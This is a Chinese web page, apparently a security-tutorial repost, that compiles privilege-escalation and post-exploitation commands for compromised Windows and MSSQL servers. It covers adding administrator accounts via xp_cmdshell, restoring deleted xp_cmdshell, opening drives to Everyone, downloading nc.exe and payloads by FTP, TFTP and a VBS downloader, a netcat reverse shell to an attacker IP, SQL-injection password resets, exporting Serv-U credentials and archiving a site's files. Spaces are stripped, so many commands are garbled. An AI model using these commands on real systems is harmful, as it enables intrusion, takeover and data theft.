提权总结整理贴
提权总结整理贴
发布时间:2016-12-26 来源:查字典编辑
摘要:y-2k的权限设置cacls.exec:/e/t/geveryone:F#把c盘设置为everyone可以浏览cacls.exed:/e/t...

y-2k的

权限设置

cacls.exec:/e/t/geveryone:F#把c盘设置为everyone可以浏览

cacls.exed:/e/t/geveryone:F#把d盘设置为everyone可以浏览

cacls.exee:/e/t/geveryone:F#把e盘设置为everyone可以浏览

cacls.exef:/e/t/geveryone:F#把f盘设置为everyone可以浏览

caclsd:website/geveryone/e/t授与完全控制

caclsd:website/reveryone/e/t取消完全控制

SA加系统用户

execmaster.dbo.xp_cmdshell'netuseradminadmin/add'

execmaster.dbo.xp_cmdshell'netlocalgroupadministratorsadmin/add'

恢复扩散

dbccaddextendedproc("sp_OACreate","odsole70.dll")

dbccaddextendedproc("xp_cmdshell","xplog70.dll")

如果恢复不了的解释:

因为管理员是直接删除dll文件,而没删除存储过程,你这样恢复肯定是提示存储过程已存在了。你要先删除存储过程,usemaster

EXECsp_dropextendedproc'xp_cmdshell'

然后上传xplog70.dll到某个目录,例如C盘根目录,然后执行

usemasterdbccaddextendedproc('xp_cmdshell','c:xplog70.dll')

就可以使用cmdshell存储过程执行系统指令了。

MB的没想到网关都能用NB这样设..落伍啦.落伍啦

把他设置成网关看看行不行.在NBSI执行命令那里输入:echointerfaceip>ip.txt

echosetaddress"Backup"static10.90.90.157255.255.255.010.90.90.141>>ip.txt

netshexecip.txt

这样就把网关设置为10.90.90.14了,然后我们ipconfig看看是不是有网关了,

echointerfaceip>1.txt

echosetaddress"本地连接"static192.168.1.2255.255.255.0192.168.12541>>1.txt

netshexec1.txt

address"本地连接的名称"可以用ipconfig得到.staticIP地址子网掩码网关地址。

好了现在我PING下163看看能不能PING通,如图8

命令行FTP下载文件

echoopenip>11.txt

echouser>>11.txt

echopass>>11.txt

echogetnc.exe>>11.txt

echobye>>11.txt

ftp-s:11.txt

NC做反弹SHELL

在本地监听1234端口nc-vv-l-p1234

然后在NBSI执行命令那里nc-ecmd.exeip1234

改密码地

http://注入网址;updateadminsetpassword='新MD5密码'wherepassword='旧MD5密码'--[admin为表名.]

查看系统在线用户

queryuser

注销用户

logoff

D:webrar.exea-k-r-s-m1D:webzhu.rarD:web

把站点打包到zhu.rar里,

参数说明:

a添加文件到压缩文件中

-k锁定压缩文件

-s产生固体存档,这样可以增大压缩比

-r包括子目录

-m1设置压缩比

-m0存储添加到压缩文件时不压缩文件。

-m1最快使用最快方式(低压缩)

-m2较快使用快速压缩方式

-m3标准使用标准(默认)压缩方式

-m4较好使用较好压缩方式(较好压缩,但是慢)

-m5最好使用最大压缩方式(最好的压缩,但是最慢

直接D:webrar.exea-rD:webzhu.rarD:web效果一样

execxp_cmdshell'echo内容>>绝对路径'

scstopMSSQLSERVER

scconfigMSSQLSERVERstart=disabled

导SERV-U用户.和密码,不过现在版本密码加密了``

regedit/e"D:hostingwwwrootsystones_comhtdocssu.ini""HKEY_LOCAL_MACHINESOFTWAREcatsoftserv-u"

导入是regedit/sxx.reg

端口:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcp

tftp-iserveripgetxx.exe

TFTP–I127.0.0.1getcommon.dllc:common.dll

VBS

--

SetxPost=createObject("Microsoft.XMLHTTP")

xPost.Open"GET","http://127.0.0.1/u.txt",0'下载文件的地址

xPost.Send()

SetsGet=createObject("ADODB.Stream")

sGet.Mode=3

sGet.Type=1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile"c:jp.exe",2

VPN

关防火和ApplicationLayerGatewayService

3389登陆

mstsc/console/v:IP:终端端口

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新安全教程学习
热门安全教程学习
实用技巧子分类